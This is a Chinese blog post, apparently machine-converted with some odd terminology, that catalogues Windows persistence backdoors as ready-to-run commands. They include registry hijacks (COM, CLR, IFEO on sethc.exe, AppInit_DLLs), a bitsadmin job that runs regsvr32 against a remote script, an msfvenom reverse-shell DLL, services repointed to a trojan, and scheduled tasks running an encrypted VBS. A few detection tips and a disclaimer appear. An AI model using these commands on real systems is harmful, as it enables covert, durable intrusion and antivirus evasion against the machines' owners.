天天看點

[總結]Windows權限維持

暫時總結一些關于Windows權限維持的資料,把常用的權限維持方法記錄于此;遠不止這些,慢慢積累~

0x01 Empire persistence子產品

Empire是一款功能非常強大的後滲透攻擊架構。其中的persistence子產品提供了一系列權限維持方法:工具還把權限維持分為了四大類,userland(普通權限)、elevated(需要高權限)、powerbreach(記憶體權限維持,重新開機後失效)、miscellaneous(其它)。

[總結]Windows權限維持

0x02 WMI後門

WMI是微軟基于Web的企業管理(WBEM)的實作版本,這是一項行業計劃,旨在開發用于通路企業環境中管理資訊的标準技術。主要與Powershell指令配合使用可以實作無檔案攻擊重要方式,具有良好的隐蔽性也是目前較為常用的持久化手段。

關鍵實作的代碼如下:

WMI對象主要是執行一個WQL(WMI Query Language)的查詢後,本地調用Powershell執行響應的代碼由于沒有檔案儲存在本地磁盤能夠較好的免清除。

在流行的powersploit與nishang架構裡面也有相關的ps1檔案,在empire中有相應的module:

powershell/persistence/elevated/wmi
           
[總結]Windows權限維持

0x03 WinRM服務後門

此服務的後門連接配接是需要目标伺服器的高權使用者的明文密碼的,需要先抓取相應的明文密碼才可部署後門

參考連結:https://www.cnblogs.com/-mo-/p/12019314.html

0x04 程序注入

準确來說程序注入不是後門技術或者權限維持技術,而是一種隐藏技術,這裡簡單說一下:

#meterpreter
migrate

#cobaltstrike
inject

#empire
psinject
           

一般可以注入到像是 lsass 或者 explorer 這樣的程序當中,相對比較隐蔽,較難排查。

0x05 元件劫持

5.1 COM劫持

主要通過修改 CLSID 下的系統資料庫鍵值,實作對 CAccPropServicesClass 和 MMDeviceEnumerator 劫持,而系統很多正常程式啟動時需要調用這兩個執行個體,是以,這就可以用作後門來使用,并且,該方法也能夠繞過 Autoruns 對啟動項的檢測。

Powershell 版本的 poc :https://github.com/3gstudent/COM-Object-hijacking

[總結]Windows權限維持

5.2 MruPidlList劫持

在系統資料庫位置為 HKCU\Software\Classes\CLSID\ 下建立項 {42aedc87-2188-41fd-b9a3-0c966feabec1} ,再建立一個子項 InprocServer32 ,預設的鍵值為我們的 dll 路徑,再建立一個鍵 ThreadingModel ,其鍵值: Apartment

該系統資料庫對應 COM 對象 MruPidlList ,作用于 shell32.dll ,而 shell32.dll 是 Windows 的32位外殼動态連結庫檔案,用于打開網頁和檔案,建立檔案時的預設檔案名的設定等大量功能。其中 explorer.exe 會調用 shell32.dll ,然後會加載COM對象 MruPidlList ,進而觸發我們的 dll 檔案

5.3 CLR 劫持

CLR(公共語言運作庫,Common Language Runtime)和Java虛拟機一樣也是一個運作時環境,是一個可由多種程式設計語言使用的運作環境。CLR的核心功能包括:記憶體管理、程式集加載、安全性、異常處理和線程同步,可由面向CLR的所有語言使用。并保證應用和底層作業系統之間必要的分離。需要注意的是CLR能夠劫持系統中全部.net程式,而且系統預設會調用.net程式,進而導緻我們的後門自動觸發,這是我們後門持久化的一個好的思路,下面來實作一下

修改一下系統資料庫,系統資料庫路徑: HKEY_CURRENT_USER\Software\Classes\CLSID\ ,建立子項 {11111111-1111-1111-1111-111111111111} (名字随便,隻要不與系統資料庫中存在的名稱沖突就行),然後再建立子項 InProcServer32 ,建立一個鍵 ThreadingModel ,鍵值為: Apartment ,預設的鍵值為我們 dll 的路徑

需要在 cmd 下設定一下,注冊為全局變量,不然隻能在目前 cmd 視窗劫持 .net 程式:

SETX COR_ENABLE_PROFILING= 1 /M
SETX COR_PROFILER= {11111111-1111-1111-1111-111111111111} /M
           

然後在接下來的運作中,隻要是存在.net的調用,後門程式就會啟動

5.4 AppInit_DLLs

User32.dll 被加載到程序時,會讀取 AppInit_DLLs 系統資料庫項,如果有值,調用 LoadLibrary() api 加載使用者 dll 。

其系統資料庫位置為:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
           

把 AppInit_DLLs 的鍵值設定為我們 dll 路徑,将 LoadAppInit_DLLs 設定為1:

[總結]Windows權限維持

當存在 User32.dll 調用的時候,指定的 dll 檔案就會被加載

0x06 bitsadmin後門

Bitsadmin 從 win7 之後作業系統就預設包含,可以用來建立上傳或者下載下傳任務。 Bistadmin 可以指定下載下傳成功之後要進行什麼指令。後門就是利用的下載下傳成功之後進行指令執行。

#建立一個下載下傳任務:
bitsadmin /create backdoor

#添加文檔:
bitsadmin /addfile backdoor c:\windows\system32\calc.exe c:\Users\qiyou\Desktop\calc.exe  //為了友善起見我們直接複制本地檔案

#設定下載下傳成功之後要執行的指令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"

#執行任務:
bitsadmin /Resume backdoor
           

重新開機電腦之後任務會再一次被激活,大概幾分鐘之後我們的指令會再次執行,如果我們想讓任務完成,可以執行:

bitsadmin /complete backdoor
           

優點:系統自帶無需上傳

缺點:免殺效果一般

排查:bitsadmin /list /verbose

0x07 自啟動服務

自啟動服務一般是在電腦啟動後在背景加載指定的服務程式,我們可以将 exe 檔案注冊為服務,也可以将 dll 檔案注冊為服務

為了友善起見我們可以直接用Metasploit來注冊一個服務:

meterpreter > run metsvc -A
           

運作之後 msf 會在 %TMP% 目錄下建立一個随機名稱的檔案夾,然後在該檔案夾裡面生成三個檔案:metsvc.dll、metsvc-server.exe、metsvc.exe

同時會建立一個服務,其顯示名稱為 Meterpreter ,服務名稱為 metsvc ,啟動類型為"自動",預設綁定在31337端口。

如果想删除服務,可以執行:

meterpreter > run metsvc -r
           

于此同時,我們通過msf上傳上去的 exe,為了更加隐蔽,我們可以将 exe 設定為隐藏檔案,利用如下指令:

#增加隐藏屬性
attrib +h service.exe

#去掉隐藏屬性
attrib -h service.exe
           

0x08 修改系統服務

當攻擊者拿到一台機器的shell時,可以通過修改系統上的服務,以達到持久控制。攻擊者将惡意軟體隐藏在服務執行的位置,修改該服務執行的使用者權限,達到擷取高權限 shell 的目的。

首先來了解一下 binPath , binPath 是将服務指向啟動服務時需要執行的二進制檔案的位置。操作過程中,我們需要利用sc指令:

SC指令主要的幾個功能:

1.更改服務的啟動狀态(這是比較有用的一個功能),可以設定存儲在系統資料庫中的服務屬性,以控制如何在啟動時啟動服務應用程式,以及如何将其作為背景程式運作。即更改服務的啟動狀态。
2.删除服務(除非對自己電腦的軟、硬體所需的服務比較清楚,否則不建議删除任何系統服務,特别是基礎服務)。
3.停止或啟動服務(功能上類似于net stop/start,但速度更快且能停止的服務更多)。
4.SC可以檢索和設定有關服務的控制資訊,可以使用SC.exe來測試和調試服務程式。
5.可以建立批處理檔案來調用不同的SC指令,以自動啟動或關閉服務序列。
#說白了: SC.exe提供的功能類似于”控制台”中”管理工具”項中的”服務”。
           

舉個栗子:預設情況下,Windows不會啟用傳真服務。是以,傳真服務是我們修改的理想服務,因為它不會中斷正常使用者的操作。

#将msfvenom生成的木馬檔案上傳C:\123123.exe。

#修改Fax傳真服務
sc config Fax binPath= "C:\123123.exe"
sc start Fax

#建立Fax傳真服務,并設定為自啟動
sc create Fax binPath= "C:\123123.exe" start= "auto" obj= "LocalSystem"

#增加服務描述
sc descrīption Fax "利用計算機或網絡上的可用傳真資源發送和接收傳真。"
           
[總結]Windows權限維持
[總結]Windows權限維持

木馬檔案執行上線,獲得的權限是系統服務權限。一段時間之後,會顯示服務沒有響應,進而關閉我們的惡意程序。是以 msf 在監聽時,要加上如下參數:

set autorunscript migrate -f
#獲得會話之後,直接将會話轉移到一個穩定程序,保持上線。
           

經過測試,重新開機之後,傳真服務不會自動啟動執行,是以我們可以利用如下指令:

sc config Fax binPath= "C:\Windows\System32\123123.exe" start= "auto" obj= "LocalSystem"
#這裡有一點需要注意,在填寫參數時,參數等号後面一定要加”空格”,注意這個細節!
           

Windows啟動期間,傳真服務自動啟用,并且執行的權限為System權限。

0x09 shift後門

9.1 輔助功能劫持

這個是比較老的方式了,這裡簡單講一下,在 windows 中有一些輔助功能,能在使用者未登入系統之前可以通過組合鍵來啟動它,類似的輔助功能有:

C:\Windows\System32\sethc.exe     粘滞鍵,啟動快捷鍵:按五次shift鍵
C:\Windows\System32\utilman.exe   設定中心,啟動快捷鍵:Windows+U鍵
           
cd c:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
           

9.2 映像劫持

在低版本的windows中,我們可以直接把 setch.exe 替換成我們的後門程式,但是在高版本的 windows 版本中替換的檔案受到了系統的保護,是以這裡我們要使用另外一個知識點:映像劫持。

windows 系統上每個服務的資訊都存儲在系統資料庫中, ImagePath 系統資料庫項通常包含驅動程式映像檔案的路徑。使用任意可執行檔案劫持此密鑰将使有效負載在服務啟動期間運作,而這種劫持就稱為映像劫持

具體操作方法如下:

在系統資料庫下添加一個項 sethc.exe ,然後在 sethc.exe 這個項中添加 debugger 鍵,鍵值為我們惡意程式的路徑:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option 

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
           
[總結]Windows權限維持

對于劫持其他服務,看以下例子,劫持W32Time服務:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v ImagePath /t REG_SZ /d "C:\321321.exe" /f
/f參數很重要,強制執行
           
[總結]Windows權限維持

由于此服務并非自啟動服務,想要此服務開機自啟并為高權限,我們仍需使用指令:

sc config w32time start= "auto" obj= "LocalSystem"
           

0x10 定時任務

windows下定時任務的指令有兩個分别是:at 和 schtasks,他們兩者主要差別是 at 指令在 win7、08 等高版本的 windows 中是不能将任務在前台執行的,也就是隻會打開一個背景程序,而 schtasks 是将定時的任務在前台執行

schtasks /create /sc minute /mo 1 /tn "chrome" /tr wscript.exe C:\Users\\AppData\Local\Temp\13442980_crypted.vbs
           

0x11 Logon Scripts

Logon Scripts優先于 av 先執行,我們可以利用這一點來繞過 av 的敏感操作攔截

系統資料庫路徑為: HKEY_CURRENT_USER\Environment ,建立一個鍵為: UserInitMprLogonScript ,其鍵值為我們要啟動的程式路徑:

[總結]Windows權限維持

當使用者登入或者重新開機時,目标程式就會先行啟動

0x12 螢幕保護程式

在對方開啟螢幕保護的情況下,我們可以修改屏保程式為我們的惡意程式進而達到後門持久化的目的 其中螢幕保護的配置存儲在系統資料庫中

其位置為:HKEY_CURRENT_USER\Control Panel\Desktop,關鍵鍵值如下:

SCRNSAVE.EXE        - 預設螢幕保護程式,我們可以把這個鍵值改為我們的惡意程式
ScreenSaveActive    - 1表示螢幕保護是啟動狀态,0表示表示螢幕保護是關閉狀态
ScreenSaverTimeout  - 指定螢幕保護程式啟動前系統的空閑事件,機關為秒,預設為900(15分鐘)
           

設定如下:

0x13 域環境下的msdtc

msdtc.exe 存在于組環境和域環境中

[總結]Windows權限維持
#生成dll木馬檔案
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > oci.dll

#将剛才生成的 oci.dll 上傳到目标機器的 C:\Windows\System32 目錄下
$upload oci.dll C:\\Windows
$shell
C:\Windows>move oci.dll c:\Windows\System32

#使用指令關閉msdtc程序
taskkill /f /im msdtc.exe

#重新開機msdtc
net start msdtc

#為了獲得system權限,可采用降級啟動,使用指令
msdtc -install
           

詳細内容閱讀:http://hackergu.com/power-msdtc/

0x14 waitfor

不支援自啟動,但可遠端主動激活,背景程序顯示為 waitfor.exe

優點:遠端主動激活

缺點:有 waitfor 程序

排查:通過 Process Explorer 工具檢視是否有 waitfor.exe 程序,并進一步檢視啟動參數等。

支援系統:

Windows Server 2003
Windows Vista
Windows XP
Windows Server 2008
Windows 7
Windows Server 2003 with SP2
Windows Server 2003 R2
Windows Server 2008 R2
Windows Server 2000
Windows Server 2012
Windows Server 2003 with SP1
Windows 8
Windows 10
其他Server系統未測試,理論上支援
           

詳細内容閱讀:

https://github.com/3gstudent/Waitfor-Persistence

http://www.0-sec.org/%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF/Windows%E5%90%8E%E9%97%A8/10.html

參考連結

http://hackergu.com/

http://www.0-sec.org

https://xz.aliyun.com/t/4842

https://www.freebuf.com/vuls/195906.html

----------------------------------------------------------------------------

作者:肖洋肖恩、

出處:https://www.cnblogs.com/-mo-/

----------------------------------------------------------------------------

文中可能會存在纰漏,若發現請聯系與我。

本文所有代碼僅可用于站長自我檢測與學習,如用于非法攻擊一切後果自負。